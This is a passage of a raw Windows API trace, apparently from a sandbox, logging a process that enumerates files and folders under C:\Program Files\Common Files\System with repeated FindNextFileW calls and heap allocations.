ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0092.643] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0092.643] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0092.643] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0092.643] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0092.643] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0092.643] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0092.643] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.643] GetProcessHeap () returned 0xc00000 [0092.643] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.645] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0092.645] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.645] GetProcessHeap () returned 0xc00000 [0092.645] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.646] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.646] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.646] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0092.647] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0092.647] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.647] GetProcessHeap () returned 0xc00000 [0092.647] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.647] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="msadc", cAlternateFileName="")) returned 1 [0092.647] GetProcessHeap () returned 0xc00000 [0092.647] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.649] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.649] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0092.649] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0092.650] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.650] GetProcessHeap () returned 0xc00000 [0092.650] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e8d60 [0092.650] FindNextFileW (in: hFindFile=0x37e8d60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0092.651] FindNextFileW (in: hFindFile=0x37e8d60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0092.651] FindNextFileW (in: hFindFile=0x37e8d60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0092.651] FindNextFileW (in: hFindFile=0x37e8d60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0092.651] FindNextFileW (in: hFindFile=0x37e8d60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0092.651] FindNextFileW (in: hFindFile=0x37e8d60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0092.651] FindNextFileW (in: hFindFile=0x37e8d60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0092.651] FindClose (in: hFindFile=0x37e8d60 | out: hFindFile=0x37e8d60) returned 1 [0092.651] GetProcessHeap () returned 0xc00000 [0092.652] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, 